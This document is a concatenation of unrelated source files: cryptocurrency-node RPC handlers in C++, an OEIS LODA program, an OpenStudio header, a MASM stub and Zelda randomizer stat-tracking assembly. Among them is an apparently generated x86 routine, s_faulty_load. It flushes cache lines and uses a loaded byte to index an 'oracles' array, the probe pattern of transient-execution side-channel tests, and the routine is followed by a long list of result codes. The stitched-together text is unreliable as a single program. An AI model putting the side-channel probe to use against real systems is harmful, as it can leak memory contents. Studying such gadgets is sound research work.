\"branchlen\": 1 (numeric) length of branch connecting the tip to the main chain\n" " \"status\": \"xxxx\" (string) status of the chain (active, valid-fork, valid-headers, headers-only, invalid)\n" " }\n" "]\n" "Possible values for status:\n" "1. \"invalid\" This branch contains at least one invalid block\n" "2. \"headers-only\" Not all blocks for this branch are available, but the headers are valid\n" "3. \"valid-headers\" All blocks are available for this branch, but they were never fully validated\n" "4. \"valid-fork\" This branch is not part of the active chain, but is fully validated\n" "5. \"active\" This is the tip of the active main chain, which is certainly valid\n" "\nExamples:\n" + HelpExampleCli("getchaintips", "") + HelpExampleRpc("getchaintips", "")); /* Build up a list of chain tips. We start with the list of all known blocks, and successively remove blocks that appear as pprev of another block. */ std::set<const CBlockIndex*, CompareBlocksByHeight> setTips; BOOST_FOREACH (const PAIRTYPE(const uint256, CBlockIndex*) & item, mapBlockIndex) setTips.insert(item.second); BOOST_FOREACH (const PAIRTYPE(const uint256, CBlockIndex*) & item, mapBlockIndex) { const CBlockIndex* pprev = item.second->pprev; if (pprev) setTips.erase(pprev); } // Always report the currently active tip. setTips.insert(chainActive.Tip()); /* Construct the output array. */ Array res; BOOST_FOREACH (const CBlockIndex* block, setTips) { Object obj; obj.push_back(Pair("height", block->nHeight)); obj.push_back(Pair("hash", block->phashBlock->GetHex())); const int branchLen = block->nHeight - chainActive.FindFork(block)->nHeight; obj.push_back(Pair("branchlen", branchLen)); string status; if (chainActive.Contains(block)) { // This block is part of the currently active chain. status = "active"; } else if (block->nStatus & BLOCK_FAILED_MASK) { // This block or one of its ancestors is invalid. status = "invalid"; } else if (block->nChainTx == 0) { // This block cannot be connected because full block data for it or one of its parents is missing. status = "headers-only"; } else if (block->IsValid(BLOCK_VALID_SCRIPTS)) { // This block is fully validated, but no longer part of the active chain. It was probably the active block once, but was reorganized. status = "valid-fork"; } else if (block->IsValid(BLOCK_VALID_TREE)) { // The headers for this block are valid, but it has not been validated. It was probably never part of the most-work chain. status = "valid-headers"; } else { // No clue. status = "unknown"; } obj.push_back(Pair("status", status)); res.push_back(obj); } return res; } Value getmempoolinfo(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getmempoolinfo\n" "\nReturns details on the active state of the TX memory pool.\n" "\nResult:\n" "{\n" " \"size\": xxxxx (numeric) Current tx count\n" " \"bytes\": xxxxx (numeric) Sum of all tx sizes\n" "}\n" "\nExamples:\n" + HelpExampleCli("getmempoolinfo", "") + HelpExampleRpc("getmempoolinfo", "")); Object ret; ret.push_back(Pair("size", (int64_t)mempool.size())); ret.push_back(Pair("bytes", (int64_t)mempool.GetTotalTxSize())); return ret; } Value invalidateblock(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "invalidateblock \"hash\"\n" "\nPermanently marks a block as invalid, as if it violated a consensus rule.\n" "\nArguments:\n" "1. hash (string, required) the hash of the block to mark as invalid\n" "\nResult:\n" "\nExamples:\n" + HelpExampleCli("invalidateblock", "\"blockhash\"") + HelpExampleRpc("invalidateblock", "\"blockhash\"")); std::string strHash = params[0].get_str(); uint256 hash(strHash); CValidationState state; { LOCK(cs_main); if (mapBlockIndex.count(hash) == 0) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found"); CBlockIndex* pblockindex = mapBlockIndex[hash]; InvalidateBlock(state, pblockindex); } if (state.IsValid()) { ActivateBestChain(state); } if (!state.IsValid()) { throw JSONRPCError(RPC_DATABASE_ERROR, state.GetRejectReason()); } return Value::null; } Value reconsiderblock(const Array& params, bool fHelp) { if (fHelp || params.size() != 1) throw runtime_error( "reconsiderblock \"hash\"\n" "\nRemoves invalidity status of a block and its descendants, reconsider them for activation.\n" "This can be used to undo the effects of invalidateblock.\n" "\nArguments:\n" "1. hash (string, required) the hash of the block to reconsider\n" "\nResult:\n" "\nExamples:\n" + HelpExampleCli("reconsiderblock", "\"blockhash\"") + HelpExampleRpc("reconsiderblock", "\"blockhash\"")); std::string strHash = params[0].get_str(); uint256 hash(strHash); CValidationState state; { LOCK(cs_main); if (mapBlockIndex.count(hash) == 0) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Block not found"); CBlockIndex* pblockindex = mapBlockIndex[hash]; ReconsiderBlock(state, pblockindex); } if (state.IsValid()) { ActivateBestChain(state); } if (!state.IsValid()) { throw JSONRPCError(RPC_DATABASE_ERROR, state.GetRejectReason()); } return Value::null; }
; A266178: Triangle read by rows giving successive states of cellular automaton generated by "Rule 6" initiated with a single ON (black) cell. ; 1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 lpb $0 add $0,1 sub $2,2 add $0,$2 cmp $1,0 lpe bin $1,$0 mov $0,$1
/********************************************************************** * Copyright (c) 2008-2016, Alliance for Sustainable Energy. * All rights reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA **********************************************************************/ #ifndef UTILITIES_IDF_WORKSPACEOBJECTDIFF_IMPL_HPP #define UTILITIES_IDF_WORKSPACEOBJECTDIFF_IMPL_HPP #include "IdfObjectDiff_Impl.hpp" #include "../UtilitiesAPI.hpp" #include "../core/UUID.hpp" namespace openstudio { namespace detail { class UTILITIES_API WorkspaceObjectDiff_Impl : public IdfObjectDiff_Impl { public: WorkspaceObjectDiff_Impl(unsigned index, boost::optional<std::string> oldValue, boost::optional<std::string> newValue, boost::optional<UUID> oldHandle, boost::optional<UUID> newHandle); /// get the old handle if there was one boost::optional<UUID> oldHandle() const; /// get the new handle if there is one boost::optional<UUID> newHandle() const; private: boost::optional<UUID> m_oldHandle; boost::optional<UUID> m_newHandle; }; } // detail } // openstudio #endif // UTILITIES_IDF_WORKSPACEOBJECTDIFF_IMPL_HPP
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x15556, %rsi lea addresses_normal_ht+0x1cdd6, %rdi nop nop nop nop xor $31690, %r13 mov $43, %rcx rep movsl cmp %rcx, %rcx lea addresses_WT_ht+0x10f8, %r12 nop nop and $44026, %r11 vmovups (%r12), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rsi nop add %rdi, %rdi lea addresses_WC_ht+0x18956, %r12 clflush (%r12) nop nop nop nop and $14431, %r15 movups (%r12), %xmm3 vpextrq $1, %xmm3, %rsi nop nop inc %r13 lea addresses_A_ht+0x1d3ae, %r12 clflush (%r12) nop nop sub $12170, %rsi vmovups (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx nop cmp $5213, %rsi lea addresses_WC_ht+0x1d416, %r12 clflush (%r12) nop nop nop dec %rcx mov (%r12), %di and $47429, %rsi lea addresses_A_ht+0x3556, %r11 nop nop nop nop nop inc %rdi mov (%r11), %esi add $27463, %r12 lea addresses_normal_ht+0x1e356, %rsi lea addresses_D_ht+0x1d330, %rdi nop nop inc %rdx mov $98, %rcx rep movsl nop nop nop nop nop sub %rsi, %rsi lea addresses_WC_ht+0x7782, %rsi nop nop nop sub %r12, %r12 mov (%rsi), %edx nop nop sub %r13, %r13 lea addresses_WC_ht+0x6656, %rsi lea addresses_D_ht+0x2f56, %rdi nop nop nop nop cmp $183, %r15 mov $47, %rcx rep movsb xor %rsi, %rsi lea addresses_UC_ht+0x10656, %rdx nop nop nop nop nop add %rcx, %rcx vmovups (%rdx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rdi nop nop nop and $59214, %r12 lea addresses_WT_ht+0x15d56, %r11 clflush (%r11) nop nop nop nop add $51025, %rcx mov $0x6162636465666768, %r12 movq %r12, (%r11) nop nop nop nop nop and $31420, %rdi lea addresses_normal_ht+0x1b0be, %rsi lea addresses_A_ht+0x1a756, %rdi clflush (%rsi) clflush (%rdi) nop nop add %r15, %r15 mov $100, %rcx rep movsl nop nop nop and %rcx, %rcx lea addresses_normal_ht+0x6306, %r13 nop nop nop nop xor %rsi, %rsi mov $0x6162636465666768, %r12 movq %r12, %xmm6 and $0xffffffffffffffc0, %r13 movntdq %xmm6, (%r13) nop nop nop nop and %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %rax push %rbx push %rcx push %rdi push %rsi // Store lea addresses_A+0x6f6e, %rdi nop nop nop sub $26989, %r11 mov $0x5152535455565758, %rax movq %rax, %xmm7 movups %xmm7, (%rdi) nop nop add %r13, %r13 // REPMOV lea addresses_normal+0x14356, %rsi lea addresses_PSE+0x179fe, %rdi nop sub $20121, %rbx mov $47, %rcx rep movsb nop nop xor $6650, %rsi // Store mov $0x926, %rax nop cmp %rsi, %rsi mov $0x5152535455565758, %r11 movq %r11, (%rax) nop nop nop nop cmp %rdi, %rdi // Faulty Load lea addresses_WT+0x1d356, %rsi nop nop nop xor $48110, %rcx vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 4}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
EXTERN dateProc2ReturnAddress : QWORD ESCAPE_SEQ_1 = 10h ESCAPE_SEQ_2 = 11h ESCAPE_SEQ_3 = 12h ESCAPE_SEQ_4 = 13h LOW_SHIFT = 0Eh HIGH_SHIFT = 9h SHIFT_2 = LOW_SHIFT SHIFT_3 = 900h SHIFT_4 = 8F2h NO_FONT = 98Fh NOT_DEF = 2026h .CODE dateProc2 PROC dateProc2 ENDP ;-------------------------------------------; END
;================================================================================ ; Stat Tracking ;================================================================================ ; $7EF420 - $7EF468 - Stat Tracking ;-------------------------------------------------------------------------------- ; $7EF420 - bonk counter ;-------------------------------------------------------------------------------- ; $7EF421 yyyyyaaa ; y - y item counter ; a - a item counter ;-------------------------------------------------------------------------------- ; $7EF422 ssshhccc ; s - sword counter ; h - shield counter ; c - crystal counter ;-------------------------------------------------------------------------------- ; $7EF423 - item counter ;-------------------------------------------------------------------------------- ; $7EF424 mmkkkkkk ; m - mail counter ; k - small keys ;-------------------------------------------------------------------------------- ; $7EF425w[2] 1111 2222 3333 4444 ; 1 - lvl 1 sword bosses ; 2 - lvl 2 sword bosses ; 3 - lvl 3 sword bosses ; 4 - lvl 4 sword bosses ;-------------------------------------------------------------------------------- ; $7EF427 kkkkcccc ; k - big keys ; c - big chests ;-------------------------------------------------------------------------------- ; $7EF428 mmmmcccc ; k - maps ; c - compases ;-------------------------------------------------------------------------------- ; $7EF429 bbbb--pp ; b - heart containers ; p - pendant upgrades ;-------------------------------------------------------------------------------- ; $7EF42A b-sccccc ; b - bomb acquired ; s - silver arrow bow acquired ; c - chests before gtower big key ;-------------------------------------------------------------------------------- ; $7EF42Bw[2] - rupees spent ;-------------------------------------------------------------------------------- ; $7EF42D - s&q counter ;-------------------------------------------------------------------------------- ; $7EF42Ew[2] - loop frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF430w[2] - loop frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF432 - locations before boots ;-------------------------------------------------------------------------------- ; $7EF433 - locations before mirror ;-------------------------------------------------------------------------------- ; $7EF434 - hhhhdddd - item locations checked ; h - hyrule castle ; d - palace of darkness ;-------------------------------------------------------------------------------- ; $7EF435 - dddhhhaa - item locations checked ; d - desert palace ; h - tower of hera ; a - agahnim's tower ;-------------------------------------------------------------------------------- ; $7EF436 - gggggeee - item locations checked ; g - ganon's tower ; e - eastern palace ;-------------------------------------------------------------------------------- ; $7EF437 - sssstttt - item locations checked ; s - skull woods ; t - thieves town ;-------------------------------------------------------------------------------- ; $7EF438 - iiiimmmm - item locations checked ; i - ice palace ; m - misery mire ;-------------------------------------------------------------------------------- ; $7EF439 - ttttssss - item locations checked ; t - turtle rock ; s - swamp palace ;-------------------------------------------------------------------------------- ; $7EF43A - times mirrored outdoors ;-------------------------------------------------------------------------------- ; $7EF43B - times mirrored in dungeons ;-------------------------------------------------------------------------------- ; $7EF43Cw[2] - screen transition counter ;-------------------------------------------------------------------------------- ; $7EF43Ew[2] - nmi frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF440w[2] - nmi frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF442 - chest counter ;-------------------------------------------------------------------------------- ; $7EF443 - lock stats ;-------------------------------------------------------------------------------- ; $7EF444w[2] - item menu frame counter (low) ;-------------------------------------------------------------------------------- ; $7EF446w[2] - item menu frame counter (high) ;-------------------------------------------------------------------------------- ; $7EF448 - ---hhhhh ; h - heart pieces ;-------------------------------------------------------------------------------- ; $7EF449 - death counter ;-------------------------------------------------------------------------------- ; $7EF44A - reserved ;-------------------------------------------------------------------------------- ; $7EF44B - flute counter ;-------------------------------------------------------------------------------- ; $7EF44Cl[3] - RTA-Timestamp (Start) ;-------------------------------------------------------------------------------- ; $7EF44Fl[3] - RTA-Timestamp (End) ;-------------------------------------------------------------------------------- ; $7EF452 - sssscccc ; s - swordless bosses ; c - capacity upgrades ;-------------------------------------------------------------------------------- ; $7EF453 - fairy revival counter ;-------------------------------------------------------------------------------- ; $7EF454w[2] - challenge timer (low) ;-------------------------------------------------------------------------------- ; $7EF456w[2] - challenge timer (high) ;-------------------------------------------------------------------------------- ; $7EF458w[2] - sword timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF45Aw[2] - sword timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF45Cw[2] - boots timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF45Ew[2] - boots timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF460w[2] - flute timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF462w[2] - flute timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF464w[2] - mirror timestamp (low) ;-------------------------------------------------------------------------------- ; $7EF466w[2] - mirror timestamp (high) ;-------------------------------------------------------------------------------- ; $7EF468 - chest turn counter ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- !LOCK_STATS = "$7EF443" ;-------------------------------------------------------------------------------- !BONK_COUNTER = "$7EF420" IncrementBonkCounter: LDA !LOCK_STATS : BNE + LDA !BONK_COUNTER : INC CMP.b #100 : BEQ + ; decimal 100 STA !BONK_COUNTER + RTL ;-------------------------------------------------------------------------------- !SAVE_COUNTER = "$7EF42D" StatSaveCounter: PHA LDA !LOCK_STATS : BNE + LDA $10 : CMP.b #$17 : BNE + ; not a proper s&q, link probably died LDA !SAVE_COUNTER : INC CMP.b #100 : BEQ + ; decimal 100 STA !SAVE_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !SAVE_COUNTER = "$7EF42D" DecrementSaveCounter: PHA LDA !LOCK_STATS : BNE + LDA !SAVE_COUNTER : DEC : STA !SAVE_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !TRANSITION_COUNTER = "$7EF43C" DungeonHoleWarpTransition: LDA $01C31F, X BRA StatTransitionCounter DungeonHoleEntranceTransition: JSL EnableForceBlank LDA.l SilverArrowsAutoEquip : AND.b #$02 : BEQ + LDA $010E : CMP.b #$7B : BNE + ; skip unless falling to ganon's room LDA !INVENTORY_SWAP_2 : AND.b #$40 : BEQ + ; skip if we don't have silvers LDA $7EF340 : BEQ + ; skip if we have no bow CMP.b #$03 : !BGE + ; skip if the bow is already silver !ADD #$02 : STA $7EF340 ; increase bow to silver + BRA StatTransitionCounter DungeonStairsTransition: JSL Dungeon_SaveRoomQuadrantData BRA StatTransitionCounter DungeonExitTransition: LDA $7F50C7 : BEQ + ; ice physics JSL Player_HaltDashAttackLong LDA.b #$00 : STA $0301 ; stop item dashing + LDA.b #$0F : STA $10 ; stop running through the transition StatTransitionCounter: PHA : PHP LDA !LOCK_STATS : BNE + REP #$20 ; set 16-bit accumulator LDA !TRANSITION_COUNTER : INC CMP.w #999 : BEQ + ; decimal 999 STA !TRANSITION_COUNTER + PLP : PLA RTL ;-------------------------------------------------------------------------------- !FLUTE_COUNTER = "$7EF44B" IncrementFlute: LDA !LOCK_STATS : BNE + LDA !FLUTE_COUNTER : INC : STA !FLUTE_COUNTER + JSL.l StatTransitionCounter ; also increment transition counter RTL ;-------------------------------------------------------------------------------- IncrementSmallKeys: STA $7EF36F ; thing we wrote over, write small key count PHX LDA !LOCK_STATS : BNE + JSL AddInventory_incrementKeyLong + JSL.l UpdateKeys PHY : LDY.b #24 : JSL.l FullInventoryExternal : PLY JSL.l HUD_RebuildLong PLX RTL ;-------------------------------------------------------------------------------- IncrementSmallKeysNoPrimary: STA $7EF36F ; thing we wrote over, write small key count PHX LDA !LOCK_STATS : BNE + JSL AddInventory_incrementKeyLong + JSL.l UpdateKeys LDA $1B : BEQ + ; skip room check if outdoors PHP : REP #$20 ; set 16-bit accumulator LDA $048E : CMP.w #$0087 : BNE ++ ; hera basement PLP : PHY : LDY.b #$24 : JSL.l FullInventoryExternal JSR CountChestKey : PLY : BRA + ++ PLP + JSL.l HUD_RebuildLong PLX RTL ;-------------------------------------------------------------------------------- DecrementSmallKeys: STA $7EF36F ; thing we wrote over, write small key count JSL.l UpdateKeys RTL ;-------------------------------------------------------------------------------- CountChestKeyLong: ; called from ItemDowngradeFix in itemdowngrade.asm JSR CountChestKey RTL ;-------------------------------------------------------------------------------- CountChestKey: ; called by neighbor functions PHA : PHX CPY #$24 : BEQ + ; small key for this dungeon - use $040C CPY #$A0 : !BLT .end ; Ignore most items CPY #$AE : !BGE .end ; Ignore reserved key and generic key TYA : AND.B #$0F : BNE ++ ; If this is an HC key, instead count it as a sewers key INC ++ TAX : BRA .count ; use Key id instead of $040C (Keysanity) + LDA $040C : LSR BNE + INC ; combines HC and Sewer counts + TAX .count LDA $7EF4E0, X : INC : STA $7EF4E0, X .end PLX : PLA RTS ;-------------------------------------------------------------------------------- CountBonkItem: ; called from GetBonkItem in bookofmudora.asm LDA $A0 ; check room ID - only bonk keys in 2 rooms so we're just checking the lower byte CMP #115 : BNE + ; Desert Bonk Key LDA.L BonkKey_Desert : BRA ++ + : CMP #140 : BNE + ; GTower Bonk Key LDA.L BonkKey_GTower : BRA ++ + LDA.B #$24 ; default to small key ++ CMP #$24 : BNE + PHY TAY : JSR CountChestKey PLY + RTL ;-------------------------------------------------------------------------------- IncrementAgahnim2Sword: PHA LDA !LOCK_STATS : BNE + JSL AddInventory_incrementBossSwordLong + PLA RTL ;-------------------------------------------------------------------------------- !DEATH_COUNTER = "$7EF449" IncrementDeathCounter: PHA LDA !LOCK_STATS : BNE + LDA $7EF36D : BNE + ; link is still alive, skip LDA !DEATH_COUNTER : INC : STA !DEATH_COUNTER ;JSL.l DecrementSaveCounter + PLA RTL ;-------------------------------------------------------------------------------- !FAIRY_COUNTER = "$7EF453" IncrementFairyRevivalCounter: STA $7EF35C, X ; thing we wrote over PHA LDA !LOCK_STATS : BNE + LDA !FAIRY_COUNTER : INC : STA !FAIRY_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHESTTURN_COUNTER = "$7EF468" IncrementChestTurnCounter: PHA LDA !LOCK_STATS : BNE + LDA !CHESTTURN_COUNTER : INC : STA !CHESTTURN_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" IncrementChestCounter: LDA.b #$01 : STA $02E9 ; thing we wrote over PHA LDA !LOCK_STATS : BNE + LDA !CHEST_COUNTER : INC : STA !CHEST_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !CHEST_COUNTER = "$7EF442" DecrementChestCounter: PHA LDA !LOCK_STATS : BNE + LDA !CHEST_COUNTER : DEC : STA !CHEST_COUNTER + PLA RTL ;-------------------------------------------------------------------------------- !ITEM_TOTAL = "$7EF423" DecrementItemCounter: PHA LDA !LOCK_STATS : BNE + LDA !ITEM_TOTAL : DEC : STA !ITEM_TOTAL + PLA RTL ;-------------------------------------------------------------------------------- IncrementBigChestCounter: JSL.l Dungeon_SaveRoomQuadrantData ; thing we wrote over PHA LDA !LOCK_STATS : BNE + %BottomHalf($7EF427) + PLA RTL ;-------------------------------------------------------------------------------- !DAMAGE_COUNTER = $7EF46A !MAGIC_COUNTER = $7EF46C IncrementDamageTakenCounter_Eight: STA.l $7EF36D PHA : PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.l !DAMAGE_COUNTER ADC.w #$0008 BCC ++ LDA.w #$FFFF ++ STA.l !DAMAGE_COUNTER + PLP PLA RTL IncrementDamageTakenCounter_Arb: PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.b $00 AND.w #$00FF ADC.l !DAMAGE_COUNTER BCC ++ LDA.w #$FFFF ++ STA.l !DAMAGE_COUNTER + PLP LDA.l $7EF36D RTL IncrementMagicUseCounter: STA.l $7EF36E IncrementMagicUseCounterByrna: PHA : PHP LDA !LOCK_STATS : BNE + REP #$21 LDA.b $00 AND.w #$00FF ADC.l !MAGIC_COUNTER BCC ++ LDA.w #$FFFF ++ STA.l !MAGIC_COUNTER + PLP : PLA RTL IncrementMagicUseCounterOne: LDA !LOCK_STATS : BNE + REP #$20 LDA.l !MAGIC_COUNTER INC BEQ ++ STA.l !MAGIC_COUNTER ++ SEP #$20 + LDA.l $7EF36E RTL ;-------------------------------------------------------------------------------- !OW_MIRROR_COUNTER = "$7EF43A" IncrementOWMirror: PHA LDA !LOCK_STATS : BNE + LDA $7EF3CA : BEQ + ; only do this for DW->LW LDA !OW_MIRROR_COUNTER : INC : STA !OW_MIRROR_COUNTER + PLA JMP StatTransitionCounter ;-------------------------------------------------------------------------------- !UW_MIRROR_COUNTER = "$7EF43B" IncrementUWMirror: PHA LDA.b #$00 : STA $7F5035 ; bandaid patch bug with mirroring away from text LDA !LOCK_STATS : BNE + LDA $040C : CMP #$FF : BEQ + ; skip if we're in a cave or house LDA !UW_MIRROR_COUNTER : INC : STA !UW_MIRROR_COUNTER JSL.l StatTransitionCounter + PLA JSL.l Dungeon_SaveRoomData ; thing we wrote over RTL ;-------------------------------------------------------------------------------- !SPENT_RUPEES = "$7EF42B" IncrementSpentRupees: DEC A : BPL .subtractRupees LDA.w #$0000 : STA $7EF360 RTL .subtractRupees PHA : PHP LDA !LOCK_STATS : AND.w #$00FF : BNE + LDA !SPENT_RUPEES : INC CMP.w #9999 : BEQ + ; decimal 9999 